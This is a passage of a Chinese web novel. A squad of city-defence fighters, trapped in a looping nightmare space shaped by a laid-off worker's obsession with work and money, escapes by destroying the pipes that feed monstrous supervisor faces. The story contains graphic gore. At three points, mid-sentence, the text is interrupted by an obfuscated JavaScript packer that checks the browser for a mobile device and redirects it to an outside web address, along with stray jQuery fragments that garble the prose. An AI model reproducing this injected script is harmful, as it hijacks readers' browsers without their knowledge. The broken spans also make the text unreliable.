注视着他们的人如同多米诺骨牌一样陆陆续续倒下,有的脑袋被子弹爆开、有的脖子与脑袋分家、有的身体被电磁枪洞穿…… 【工作……工作……赚钱、钱……】 随着倒下的人越来越多,宿九耳边的声音越来越微弱,在安叶将最后一个人的脑袋洞穿后,这道微弱的声音连余音都未曾留下,瞬间消失不见。 此时,宿九只听见了组员们不太平稳的呼吸。 然而没等他们下一步行动,眼前的景象陡生异变。 被他们搞得一片狼藉的地方,眨眼间恢复如初。 他们未曾移动半步,可现在站的位置却与先前进门时一模一样。 “什么情况?”易戈一脸懵圈地发出疑问。 宿九脑子里忽地冒出了一个词,但出于开口需谨慎的态度,她看了一眼时间。 居然真的如她所想? “循环。”她说,“我的时间回到了刚才我们进入这道门的时候。” 这话一出,其他三人都露出了格外震惊的神情。 确定不是宿九的时间出了问题后,安叶的表情凝重了起来。 “我们从未遇到过这种情况。”她握着武器的手指紧了紧,“准确的说,自城防军处理精神失控者以来,从未出现过现在的情况。” 四人你看我我看你,一时无言。 所以说,这是史无前例的遭遇? 宿九琢磨了一下,问道:“那我们现在会很危险吗?” 虽然说以前当牛马的时候,常常将“死”字挂在嘴边,但实际上,她还是很惜命的。 安叶认真地回答道:“作为组长,我的回答应该是不用担心,但作为同事,我想说的是,从现在开始,我们务必要万分警惕小心,未知的危险可能正在等着我们。” 说完,她看向陈一伟,眼神凌厉:“你现在感觉如何?” 陈一伟知道她是什么意思,但被她当着大家的面刻意一问,就无端生出了一股火气。 “好得很。”他强行压制着自己的脾气。 陈一伟被这个空间里的干扰能量影响了?宿九敏锐地察觉到,他有在努力压抑着情绪。 安叶皱起眉头,正要说什么。 宿九不着痕迹地开口了:“其实,还有一件事……不知道你们有没有感觉到,我们进入能量空间前的倒计时,似乎比上次快了一点。给我的感觉,就好像是有什么急着把我们拉进来,而现在,又故意想把我们耗在这里面。” “关门打狗!”易戈突然出声,清澈的眼神中又带着迷茫,“虽然我们不是狗。” 话糙理不糙,宿九点头,表示赞同。 “我有这个感觉,但是说不上来为什么。”她的目光游移在几人的脸上,说道,“如果你们愿意相信我的话,我想验证一下。” 15. 精神失控11 “你想怎么验证?”安叶第一个说道。 再一次,几人以同样的方式解决了这里的人。 转而,眼前的景象与前两次一模一样。冷白荧光,管道交错,数百个透明舱室,以及里面那些穿着统一工服、如同提线木偶般重复着机械动作的人影。 时间再次回到最初,他们武器所消耗的子弹和能量也再次刷新。 “循环……”安叶喃喃道,锐利的眼神扫视这片诡异的空间,“循环,这意味着,无论我们杀他们多少次,都会回到原点?” 宿九仔细思考着前两次所看到的东西,缓缓开口:“看起来是这样的,但应该也存在某种能打破这个循环的方式。” “艹!最烦这些神神叨叨的东西。”陈一伟低骂一声,语气明显烦躁了起来。 他猛地用匕首柄敲了一下身旁的透明舱壁,发出“咚”的一声闷响。里面的人毫无反应,依旧低垂着头,手指飞快地操作着台上模糊的物件。 易戈举手问道:“我有一个问题,如果我们陷入这里的循环,外面现实世界的时间还是正常的吗?” 这个问题问到了关键之处,因为他们只有一个小时的时间。 现在能确定的是,他们陷入了场景的循环,计时设备和武器都会随着场景的循环而重置。 但宿九大概率认为,现实世界中的时间流速是正常的。 至于为什么这样的觉得…… 宿九看向陈一伟,问道:“你仔细想一想,现在你所受到的影响是不是要比上一次循环更明显一些?” 陈一伟神色一怔,脸色不太好看地说:“我以为是正常的。” “那就对了。”宿九冷静道,“这个空间一直都在影响我们,场景循环只是表象,实际上我们的身体状态、情感能量都在变化,并没有随着场景的循环而重置,所以我想现实世界依旧是正常的。” “对啊!”易戈眼睛一亮,恍然大悟道,“关门打狗关门打狗,循环就是关门! 安叶眉头微蹙,不解道:“时间重置,可以说是我们的计时设备受到干扰而集体失灵了,但武器重置,这要如何解释呢?” 有一个猜想,宿九现在无法确定,一个猜测而已,说出来也只是加重大家的心理负担,甚至会给大家造成恐惧。 她平静地摇了摇头:“可能能量空间里有什么我们不知道的机制吧,现在最重要的是,打破这个循环。” 易戈:“就是就是,组长,别管那么多了。现实世界正常的话,我们一直处于这个循环,都不知道浪费多少时间了。” 在安叶沉默间,宿九说出了自己的发现:“打破循环的关键,或许就在于路繁。你们看,每个透明舱里的人虽然动作、姿态都几乎一模一样,但他们的长相却是不一样的,而且他们工作服上的编号也是不同的,我猜测这些人可能都对应着现实,要证明我的猜测很简单,易戈,只需要你查一查。” “我怎么没想到!”易戈猛地拍向自己的脑袋,眼底染上了兴奋,随即立马通过内部资料库进行人脸对比。 宿九看着几人,继续道:“从理论上讲,我们所经历的场景应该都与精神失控者本人有关,就像上一次,每一个场景都会出现卢愿本人,可是现在我们并没有在这里看到路繁。那么就有两种可能,一是路繁就在这里,只是我们没发现,二是他真的不在这里,你们觉得,哪一种可能性更大?” 安叶看向宿九,眼神逐渐变得复杂了起来,她是真的没想到,这个新人的能力远远超出了她的预期。 “第一个。”她凭借自己的经验,果断地说。 宿九浅笑了下:“我也是这么觉得的。” 就在两人短暂的对话结束时,易戈欢呼出声:“找到了!宿九猜的没错,这上百个人在现实中就是这家公司的员工,我进行了人脸对比,你们猜怎么着?除了一个人,其他全部都对得上。” “嘿嘿。”易戈提前预判了大家的反应,莫名骄傲,“你们是不是想问对不上的那个人是谁?我就知道!所以我特意查了这个人,结果查遍了整个资料库,居然都没有发现这个人。” 宿九:“这人可能就是路繁。” 易戈学着宿九的语气:“我也是这么觉得的。” “就是这里,十五号。”易戈带着几人来到十五号透明舱前。 “我们要怎么做?杀了他?”陈一伟握着匕首,蓄势待发。 宿九转头问安叶:“能杀吗?” 安叶嘴角抽抽了下,她也没遇见过这种情况啊!可是前两次他们把包括这人在内的所有人都杀了,除了再次循环,也没发生什么。 “试试吧。”她说,毕竟情况再坏也坏不到哪儿去吧。 经过强化的匕首刀刃划破透明舱壁,陈一伟阴沉着脸,一刀割掉了里面人的脑袋,他这人杀人从不拖泥带水。 砰,咕噜噜。 颈部喷涌而出的鲜血洒在地上的脑袋上,脑袋流着血沾着血,转转悠悠地滚到了几人脚边。 而那无头的身体坐在椅子上,依旧保持着先前的姿势,一双惨白的手还在不停的运作。 宿九紧盯着地上的“圆球”…… 血液浸染下,那张陌生的脸竟像是遇热的蜡般开始软化、蠕动、五官扭曲变形,不过瞬息,就完全变成了另一副模样。 “路繁!”易戈惊呼道。 紧跟着一道惊慌失措的声音响在宿九的耳边:“啊!面具!我的面具!” 路繁的脑袋静静地躺在地上,双眼紧闭,可宿九听见的声音却满是恐惧:“不能没有面具!不能没有面具,戴上面具、戴上面具……在公司要戴上面具才行啊……” 宿九低头注视着,路繁的表情平静得和死去的样子没什么两样,而他的声音却无法平静下来。 她看向其他人,却意外地发现他们的表情有些奇怪。 “你们怎么了?” 易戈挠了挠头:“你们没有听见什么声音吗?” 不止她一个人能听见了?宿九有些惊诧。 易戈被大家盯着,疑惑着说:“刚才突然听到一个奇怪的声音,刺得我脑子嗡嗡的。” “我听见了。”安叶不是很确定,“像是什么东西的鸣叫,很尖锐。” 陈一伟:“我听到的也是这样。” 原来还是只有她能听清楚声音说了什么,宿九莫名松了口气。 但他们听见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141314|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的这个声音是路繁发出来的吗?而且为什么突然就能听见了呢? 但没等她想明白,透明舱里就发生了更加诡异的一幕。 那具无头的身体,连同滚落在地的头颅,如同被高温炙烤的蜡像,开始无法理解地融化、拉长、变形。 整个身体的肌肉骨骼仿佛都失去了固态的支撑,混着衣服融化的颜色,渗涌出粘稠猩红的液体,一股类似铁锈与劣质合成香精混合的怪异气味充斥在整个空间。 随后,这滩不明物体缓缓蠕动着,仿佛被无形的力量所牵引,悉数流向了工作台下方那个不起眼的食材加工箱入口,最后消失不见。 “呕。”易戈恶心地往后撤了几步。 然而他的后背刚碰到透明舱壁,先前被陈一伟破坏的地方居然瞬间恢复如新了。 十五号透明舱被不明力量无形修复,将四人关在了里面。 宿九猛地转头,只见舱内的椅子上,路繁正好端端地坐在那里,低着头,穿着灰蓝色工服,手指放在操作台上,与周围其他舱室的人影一般无二。 紧接着,一道冰冷的电子机械音在舱室内倏地响起,回荡在寂静的空间里: 【路繁专员,早上好。今日你的工作任务是,制作一千份便携面包,请你尽快开始工作。】 “……”一阵死寂笼罩了四人。 易戈张了张嘴,半天才找回自己的声音:“他、他……刚才不是……” 他指了指地上,那里现在干净得连一丝血渍都没有。 陈一伟脸色难看,握匕首的手指关节因用力而泛白,他死死盯着舱里那个“全新”的路繁,暴躁地骂道:“这特么到底是什么鬼东西!” 安叶深吸一口气:“这又是循环吗?” 宿九否定道:“不,这应该是新的场景了。” 回想起面容变形的那一幕,那张变成路繁的脸……难道说,陈一伟杀掉的,是带着面具的路繁,杀掉那人,等于摘掉路繁的面具,然后才露出了真正的他。 面具的意象,是掩盖、保护。 路繁在公司里,需要戴上面具来保护自己。 宿九脑子里快速整合着信息,推测道:“大家想想路繁的经历,他被正规公司裁员,找不到工作,最后去了个黑心小公司还被骗。他极度渴望一份能维持生活的工作,以及一个身份,一个能让他光明正大活着的身份。在这个空间里,反映的或许是他扭曲的执念。他把自己,或者说,把他对工作的执念,复制填充到了这个他曾经待过的地方。” “你是说,不管发生什么,他都要工作?”安叶跟上她的思路。 安叶说的对,但又不对,路繁拼命找工作只是因为他想要工作吗?当然不是,工作是为了赚钱,路繁最想要的是钱啊。 但普通人与异能者不一样,异能者赚钱的方式有很多,再不济也能接个雇主的单子去杀人。 可路繁是一个普通人,普通人要是不拼命找工作,又能怎样赚钱呢? 所以,他的执念看起来是工作,实则是钱。 宿九的目光落在路繁的背影上,再往上,是他的前方,顶上……透明舱里的每个角落,都被闪着红光的监视器看得一清二楚。 16. 精神失控12 电子机械声再次响起,充满激情的声音却让宿九几人感到浑身发凉。 【创新,品质,效率,请不要懈怠,请努力工作,请发挥你最大的价值!路繁专员,十五号与你同在。】 紧接着,十五号透明舱外出现一个端着玻璃杯的男人,他戴着一副金丝眼睛,全身包裹着黑色西装,打扮得一丝不苟。 然而他出现的那一刻,如同复制再生般,其他的透明舱外也显现出了与他一模一样的人影,正以同样的姿势注视着透明舱内的人。 【路繁专员,你的下午茶时间到了。】 舱门打开,男人微笑着,端着杯子走了进来。 杯中的深色液体一路微微晃动,最后稳稳停在路繁的工作台上,可仔细看,杯子里的液体已然不知不觉间变成了金色。 路繁单手拿起杯子,另一手继续操作着台子上的东西,他看都没有看杯子里装的是什么,仰头就饮了下去。 但宿九几人看得清清楚楚,原本的液体在他喝下去的前一秒,居然变成了满满一杯金币。 “那不是早就被废除的实体金币嘛。”易戈目瞪口呆。 叮铃哐啷,金币顺着他的喉管争先恐后地掉进胃里,发出清脆的响声。 宿九都能想象到那些金属边缘刮擦脏器的钝痛。 可路繁却无知无觉,像是在喝什么极其美味的饮品。 空空的杯子回到原处,路繁手下的操作继续,但不多时,他的面容唰地一下变得苍白起来。 宿九看见他左手捂着上腹用力地揉来揉去,而另一只手依旧没有离开工作台,毫不停歇。 路繁的身体开始微微痉挛,没多久,便听到他发出一声剧烈的干呕,连带着装满金币的胃哗啦啦从他的嘴里吐了出来,后面还牵着黏糊糊的肠子。 “天呐!”易戈猝不及防被眼前的画面所冲击,直接一个闪身,躲到了宿九旁边,随即发出哀嚎的声音,“啊啊啊好恶心!” 宿九的表情也不太好看,易戈确实没有夸张,真的很恶心。 路繁脚边的地面上,那一滩湿乎乎的粘液中,一个胀得鼓鼓的胃在那里艰难地蠕动着,就像是在努力消化里面的东西。 但不知道是金币太硬还是胃太过脆弱,直到金币扎破胃壁,露出明晃晃的金色,坚硬如钢的金币也未曾被损伤丝毫。 路繁拖着破败的身躯,如同一支即将燃烬的蜡烛,在工作台前拼命发挥自己的余热。 【工作……赚钱……赚钱……】 微弱而执拗的声音在宿九的耳边响起,她看着眼前这诡诞的画面,一时无言。 “靠!”陈一伟满脸不耐烦,“这鬼地方,我就不信了,还真能困住我们。” 随即,他祭出匕首,直冲立在原地脸上挂着微笑的黑衣男疾步而去,手起刀落,动作尤为果断狠厉。 黑衣男被削掉的脑袋在地上滚了两圈,脸上依旧保持着笑容,直勾勾地盯着他们。 易戈刚好与黑衣人的脸对了个正着,他抖了抖身子,又惊又怒:“陈一伟你干嘛!说好了不要轻易动手,你又在发什么疯?” “你就是怂。”陈一伟冷哼一声,“这人笑得瘆得慌,指定不是什么好人,我没准还杀对了呢。” “组长,你看他!”易戈转头控诉道。 安叶瞥了他俩一眼,冷声道:“你俩都给我闭嘴。” 宿九摸了摸耳朵,视线穿过路繁,落在透明舱外躲在暗处的管道上。 “你有什么发现吗?”安叶顺着她的视线看去,但并未发现什么异样。 “嗯?”宿九收回神思,思索着说道,“你们觉得,路繁喝的这个下午茶,为什么会变成金币呢?” 几人闻言都愣了下,似乎是觉得宿九的问题有些突然,还有些莫名其妙。 安叶蹙了蹙眉,沉声道:“这下午茶,其实就是一些公司给员工提供的营养剂。” “营养剂?”这倒是让宿九有些意外了。 “对啊,我听说这些营养剂还不便宜呢。”易戈因为有个姐姐在某家大公司就职,所以他对这些东西知道得不少,“我听我姐姐说,哦对,我姐姐是在一家医药公司工作,她说因为营养剂的研发成本高,加上效果惊人,一直以来的价格都比较昂贵,所以对于绝大多数的普通人,以及一些收入不高的异能者来说,他们就算是很渴望服用营养剂但也不太会花高价去购买。后来有公司用一种稀释过的营养剂作为员工福利,吸引了大批人为之工作,尽管这种营养剂的效果大打折扣,但对那些负担不起经常服用营养剂的人,这是非常具有吸引力的。所以直至现在,有提供营养剂的公司,依旧是很多人争破头都想去的地方。” 宿九了然,果然不管在哪儿,资本就是资本,以极小的成本就能获取极大的利益。 而这营养剂,她相信,其中的水肯定很深。 就像路繁,看似得到了公司福利,但这个福利对他是好是坏呢? 宿九稍微想一想就知道了,肯定是弊大于利的。就像那些他消化不了甚至损害他身体的金币。 这营养剂的福利,表面上是公司花了大价钱给员工的,让大多数不知情的人觉得自己得到了大大的好处,实则是资本家套牢每个人甚至是榨取每个人价值的手段,肮脏不堪。 与其用劣质的“福利”来拉拢人心,还不如直接涨工资来得实在。宿九不切实际地想。 “至于这东西为什么会变成金币,或许是太值钱了?”易戈琢磨着说道。 “这玩意儿真有这么好?”陈一伟怀疑道。 除了宿九,易戈和安叶都颇为诧异地看向陈一伟。 易戈震惊:“你难道没有喝过吗?” 陈一伟:“我需要喝这个?” “……”易戈翻了个白眼,他就没见过这么自我感觉良好的人。 “我一直以为这东西是智商税来着。”陈一伟仔细想了想,还是觉得自己不太需要,他也没觉得喝过这东西的人变得有多厉害啊。 这么一想,他看向易戈的视线变得耐人寻味了起来。 易戈神情一变:“不许用这种眼神看我!”别以为我不知道你在想什么。 啊啊啊果然,陈一伟还是非常讨厌。 安叶有些头疼地制止两人:“你俩能不能安静点。” 宿九赞同地点头,易戈的大嗓门确实挺吵的。 忽然,余光一晃而过某个阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141315|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影,她转头看向易戈的方向,缓缓说道:“别回头……” “啊?”易戈一脸茫然,下意识回了头,“啊!” 只听易戈发出一声惊叫,以迅雷之势从透明舱壁前闪开,躲在了安叶的身后,一副惊魂未定的模样。 在宿九提前发现异样发出提醒后,大家都看清了趴在透明舱外壁上的东西。 “这……”安叶都觉得有些渗人,更何况是直接被突脸的易戈。 他拍了拍自己的小心脏,欲哭无泪道:“我们还要在这里耗多久啊?” 原本还算明亮的舱室内,在外壁爬满一张张相同面容的人脸后,很快就变得昏暗了起来。 是黑衣男的脸。 他不再微笑,而是变得扭曲、狰狞。数不清的脸密密麻麻地堆叠在透明舱壁上,仿佛与舱壁融为了一体,死白的皮肤、挤压变形的五官、以及那好似磕了药而爆出的眼睛,人样,已不复存在。 “路繁专员,你这个月的绩效下滑了!”恶鬼般的脸发出了清朗的声音。 “路繁专员,你每天只工作时间十五个小时,是想要偷懒吗?” “你亲爱的同事每天能制作五千份便携面包,你为什么做不到呢?” “想要请假?不行,你的工作还没有完成。” “你没有努力工作,对得起公司对你的栽培吗?” 透明舱壁上的一张张人脸开始颤动起来,命令、质疑、指责,无数道声音接续在一起,如同洪水般涌出,压得透明舱内的人喘不过气来。 易戈想捂住耳朵,但奈何双手伸不进防护罩,只得扶着脑袋,露出一副难受的表情。 他感觉自己受到了精神攻击。 宿九先是耳鸣了一瞬,但很快就适应了这折磨人的噪音。 陈一伟暴躁地朝舱壁上的人脸开枪:“闭嘴闭嘴!给我闭嘴!” 然而他的声音却被淹没在了这些人脸所发出的噪声中,就像是在出演一幕哑剧。 特制子弹穿透舱壁,打碎了人脸,只见一张张脸接连炸开,血肉横飞,乱糟糟地糊在透明舱壁上。 但都是徒劳,一张脸被打碎了,又会从原处生长出新的人脸。 安叶很快反应过来,立即上前制止了陈一伟,她嘴唇动了几下:“不要浪费子弹。” “路繁专员,打起精神来!不要懈怠!” “我司即将进行结构优化,你能否留下来,取决于你够不够努力。” “路繁专员,很抱歉,你的能力不足以让公司继续聘用你。” “虽然你足够努力,但现在你已经跟不上公司的发展了。” 人脸发出的每一句话都清晰地钻入了宿九的耳中,她不由看向仍坐在工作台前的路繁,这些声音都是路繁所经历过的吗? 【工作……工作……】 痛苦的声音再次响起,此刻几乎要被人脸的噪声尽数掩盖,但好在,宿九听见了。 【工作,我努力了,我努力了!】 【可为什么还是不行!】 【我不需要睡觉,我能一直工作!我可以做五千份面包!】 【为什么?为什么还是没有人需要我,我已经很努力了……】 17. 精神失控13 “唉。”宿九轻叹一声。 在路繁趋于崩溃的声音中,她朝易戈打了手势,示意他离路繁的工作台远一点。 砰砰砰—— 几声枪响,宿九打碎了发出电子机械声的显示屏。 滋啦滋啦,显示屏顽强地闪了几下,最终憋屈地熄灭。 紧接着,宿九又瞄准舱室内的监控器,挨个击碎。 安叶当即就明白了宿九的意思,这透明舱里的监视器,就和这些密密麻麻的人脸一样,都在压迫舱内的人,准确的说,都是在压迫路繁。 果然,当最后一个闪着微弱红光的监视器被彻底破坏后,舱壁外的人脸就逐渐安静了下来。 易戈晃了晃脑袋,神情恍惚地说:“这些人脸,该不会是在用声音攻击我们吧?” 经历过刚才的人脸噪音,安叶隐隐觉得,有些事情或许已经悄悄地脱离了他们的掌控。 她先是观察了组员们的状态,陈一伟、易戈,包括她都有受到明显的影响。 可宿九不同,她的状态似乎并未受到什么影响,可以说跟进能量空间前几乎没什么两样。 她听到宿九回答易戈:“刚才的声音,确实具有攻击性。” 安叶追问道:“你感知到什么了吗?” 宿九到现在仍旧记得,她的五感异能在人们的眼中,并不是什么厉害的异能,甚至是没什么用。 所以,对于她能感知到某些东西的事情,至少目前她还并没有向任何人透露的打算。 “我只是觉得,这些声音的干扰能量比较强,毕竟我们大家都有被影响到,不是吗?”她缓缓说道。 安叶定定地看着她,宿九的眼神很是坦然。 几人说话间,耳边的声音已经消失了,只剩下爬满整个透明舱外壁的人脸。 陈一伟感觉自己好受了不少,于是二话不说直接开莽。 “咦?”易戈看见被陈一伟打中的人脸没有同先前一样再生,他惊喜道,“哇哇哇!有用了诶。” 随即他也举起了枪,迫不及待地射了几发。 但宿九觉得这样的效率实在是太低,于是从兜里摸出了几枚爆破器。 “别浪费子弹了,用这个吧。” “你居然带了这个!”易戈瞬间眼睛一亮。 安叶不得不感叹:“你带的装备挺齐全。” 宿九笑了笑:“以防万一。” 这种微型爆破器主要就是用在小空间,看起来用处不是很大,所以一般没什么人会想起来带这个武器。 但宿九他们现在被关在这间透明舱里,正好适合。将爆破器安装在舱壁上,两三个的威力就足以将整个透明舱炸开,再顺便消灭掉上面的人脸,但又不会伤到还待在这里面的他们。 不得不说,城防军的武器库还是挺多样化的。 致力于将每种武器都用一用的宿九,决定以后再多带几种。 这不,总有能用上的时候。 轰的一声巨响,透明舱如烟花炸裂般腾起,无数碎片纷飞,如漫天的刀片朝四周迸射。 不知何时,其他舱壁上也早已长满了一张张相同的人脸,但爆炸声似乎并未引起它们的注意,它们依旧专注地盯着舱壁内正在工作的人。 然而宿九都没来得及提醒大家,几百个透明舱上的人脸就突然集体爆发出了嘈杂尖锐的声音。 他们就像是有统一的话术,说着那些足以让人疯掉的字语。 陈一伟感觉自己的脑袋都快要炸了,他红着眼,咬牙切齿地骂道:“该死的东西!” 易戈和安叶也被这些声音闹得心烦意乱,两人下意识朝宿九看来。 对于宿九来说,这些声音顶多算是有些吵,但并未对她造成什么影响。 此时,她的目光落在一根半隐在黑暗中的管道上。 “你们看那里。”她指着那个方向,对几人说道。 安叶举起枪,踩着地上的血污,几步靠近宿九,她戒备地朝黑暗里看去,但什么也没看见。 “你看见什么了?” 哦,她忘了,其他人没有五感异能,应当是看不见的。 在大家疑惑的视线下,宿九看向陈一伟:“你能强化子弹吗?” 陈一伟不明所以,脸色难看地点了点头。 宿九简单解释道:“这些管道里可能有东西。” “什么?那有危险吗?”易戈急不可耐地说。 宿九也无法得知里面的东西是否有危险,她能感知到的是,管道里应该有某种流动的液体。 所以她需要进一步确定,直觉使然,他们可能会发现重要的信息。 “咱们看一看就知道了。”她说的很轻松,但其他人却是瞳孔颤抖。 果然,新人就是没轻没重。安叶再一次想。 宿九想了想,还是安慰道:“放心,应该问题不大。” 其他人:“……” 你都说了问题不大,那我们又能说什么呢,不然显得我们还没有你一个新人胆子大,很丢面儿的好不好。 陈一伟本来就莽,这会儿直接准备开枪了:“说吧,要我怎么做?” “据我观察,这些管道没有透明舱那么脆,咱们的普通子弹估计没什么用,所以需要你将子弹强化到极致,打破管道,但注意别直接打炸了。” 陈一伟点头:“明白了,打哪根?” 宿九早就看好了位置,指了指:“这几处,小心。” 陈一伟先是试了一枪,被强化的子弹打中管道,在发出一声清脆的响声后立马被弹飞了。 他眼神暗了暗,随即将子弹强化到了极致。 连续开了几枪,这一次,几处管道被打出了足以窥见其貌的小洞。 “这是?”安叶目露惊讶之色。 宿九面无表情地看着眼前的画面,顿时明白了什么。 被陈一伟破口的管道,如迸发的喷泉,将里面的液体喷出了数尺高,只不过不同的是,它喷出的不是水柱,而是散发着腥味的血柱。 一根根管道就像是人体内的血管,缠绕禁锢着每个透明舱…… 突然,易戈发出惊讶的声音:“你们看!那些人脸正在消失。” 宿九第一时间便注意到了,被击中的那根管道,因为破了几处口子,里面的血液正不要钱似的往外喷射,而被那根管道连接着的透明舱,上面的人脸就像是失去了养分,正在逐渐淡化消失。 当密密麻麻的人脸消失,露出透明舱里的情况…… 这下,所有人都明白了过来。 透明舱里的人坐在工作台前,手中毫不停歇的动作随着失去血色和干瘪的身体,渐渐停了下来。 而他脚下的洁白地面,浮现出了数不清的血色线条,看起来就像是都从他的身体里长出来的。 再仔细看,就会发现每根线条里都是流动的血液,这些血液正是来自舱内正在工作的人,他贡献着自己的血液,无数细小的线条再将他的血液输送给外面的管道,而管道又以血液滋养着那些可怖的人脸,最终,舱内的人在人脸的监视下,丝毫不敢停歇,拼命地工作,直到死去。 宿九有种恐怖片照进现实的感觉。 【哈哈哈哈哈哈看到了吗?】 路繁的声音忽地响起,像是在跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141316|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说话,又像是在自言自语。 【我努力啊,我多么地努力啊!】 【看到了吗?看到我是多么热爱工作了吗?】 【为什么?为什么我贡献我的血液,喂养你们这些吃人的怪物,你们还不满足!】 【可恶……可恶……】 宿九敏锐地感觉到这里的干扰能量在一瞬间突然变强了,路繁充满怨气和愤怒的声音,好似有了实质化的能量。 “啊,你的耳朵流血了!”易戈站在陈一伟侧后方,第一个发现了他的异样。 安叶迅速上前查看情况,透明防护罩下,陈一伟的耳朵确实渗出了明显的红色。 她能感受到有一股强劲的能量正在对他们造成干扰,但让她意外且震惊的是,这股能量居然能对陈一伟造成□□上的伤害。 这种情况在此前从未发生过,不是说能量空间只会对他们的情感能量有影响,而不会对□□造成伤害吗? 这到底是怎么回事?安叶神色凝重。 他们不能在这里久留了,必须尽快找到影子。 安叶掩住自己的情绪,说道:“你感觉怎么样?” 防护罩不能在这里打开,陈一伟无法碰到自己的耳朵,他只好晃了晃头,试图让那股异物感消失。 他烦躁地说:“烦死了,赶紧把这些玩意儿给弄死啊。” 安叶拍了拍他的肩,蹙眉道:“冷静,这里在影响你的情绪。” 宿九见状,补充道:“想离开这儿,我们还需要你。” “什么?”陈一伟耳朵有点疼,以为自己听错了。 “上次我们是‘炸学校’,那这次我们就来炸公司吧。”宿九眼睛亮亮的,怎么回事,想想还有点小兴奋呢。 她简而言之:“我猜,这些管道或许才是关键,炸掉它们相当于毁掉整个公司的命脉。” 易戈赞同地点头:“有道理有道理,所以还需要陈一伟强化子弹?” 宿九摇了摇头,然后掏出了一大把弹珠样式的东西:“我带了这个,定时炸弹你能强化吗?” 陈一伟深吸了口气,既然说了想要离开这里还得靠他,靠!他不行也得行。 “能。” 宿九看了他一眼,不知道自己这样做合不合适,陈一伟似乎有些勉强? “呃,不要勉强,不行的话我们用其他……” 陈一伟急忙打断了她:“废话什么,我说了可以。” 好、叭。 宿九将一大把小炸弹递给了陈一伟,估摸着有二三十个。 这里的空间并不小,有几百个透明舱,管道又多又长,所以她算好了炸点,争取达到最好的效果。 宿九对易戈说:“你的速度快,就麻烦你去安装一下了,我们在门口等你。” 易戈利落地收起枪:“没问题。” 陈一伟拉着个脸,将每一个炸弹都尽量强化到最高程度,然后交给了易戈:“小心点!弄丢一个我干死你。” 易戈朝他翻了个白眼,然后只留个大家一个残影。 几人站在门口,这里是他们来到这个能量空间的初始位置,按理来说,应当是最为安全的地方。 很快,易戈安装好所有炸弹后朝他们飞速闪来:“好了好了!” 安叶站在门边,及时合上了公司那扇破破烂烂的门。 几十个经过强化的炸弹同时引爆,发出了导弹轰炸的效果,整个空间瞬间剧烈颤抖起来。 “啊啊啊啊——” 伴随着易戈的尖叫声,他们脚下的地面全部裂开。 四人齐齐掉进了伸手不见五指的深渊。 18. 精神失控14 眼前的黑暗只持续了几秒。 随而接连砰砰几声,落地虽然没有成盒,但都摔成了不同的姿势。 “哎哟哎哟。”易戈捂着屁股呲牙咧嘴,呐喊道,“陈一伟!你压我脚了!” “知道了,你别踹我!”陈一伟笨拙地爬起,他人本就长得健硕,此时穿着防护服更像是一头熊了。 “诶?”宿九接触到平坦的地面,下意识仰望天空。 他们的头上确实是一片天空,什么也没有,只有阴沉沉的颜色。 刚才裂开的地面,他们掉下来的深渊,全部都消失不见了。 落在不远处的安叶动作矫健,帅气起身,大声询问道:“你们都没事儿吧?” “没事。” “哎哟我去,这又是哪儿啊?”易戈习惯性地拍了拍身上看不出来的灰,环顾四周道。 陈一伟皱着眉头:“很明显,我们到了新地方。” “你这不是废话吗?”易戈眼珠子往上一翻,然后他看着眼前的景象,若有所思地嘟囔了一句,“奇怪。” 安静,太安静了。 四人站在一条直通天际的笔直大道上,道路两旁伫立着高耸的大楼,每栋大楼都紧紧贴在一起,就像是由一节节漆黑的积木块组合而成的巨型建筑群。 而他们,就像是被放在所搭好的积木场景中的小人,而且有且仅有他们四人。 宿九放眼望去,看到了远处的一栋大楼上写着几个熟悉的字:未来集团。 这里居然出现了未来集团的大楼?只不过和她现实中见过的样子有些区别。 再仔细看看,其实每栋大楼上都刻有文字,只看名字,就像是什么公司或者卖东西的店。 安叶不知何时来到了宿九身边,她轻声道:“你看到了什么?” “组长,我看到有一栋楼上,写着未来集团几个字。”宿九想了想,示意她看向就近的大楼,“这里也有字,好像有点耳熟。” 安叶点了点头,说:“我记得有一家做零件制造的,公司名就叫这个。” “难不成这些在现实里都存在?”易戈听到她们的话,诧异道。 宿九觉得,易戈的脑子转得越来越快了。 紧接着,她脑子里灵光一闪,突然想到了一种可能。 “易戈,你能查到路繁这一年里投过简历的公司有哪些吗?”宿九赶紧问道。 “啊?我看看,应该能查到。”易戈没有废话,直接开始调取数据库里的信息。 十几秒过后,易戈手环上方浮现出了一块半透明的显示屏,上面的文字以大家都能看清的速度滚动着。 宿九连续看了几百条后,刚才心中的猜测基本上得到了证实。 “看来,这些大楼上所显示的,都是路繁投过简历的地方。” 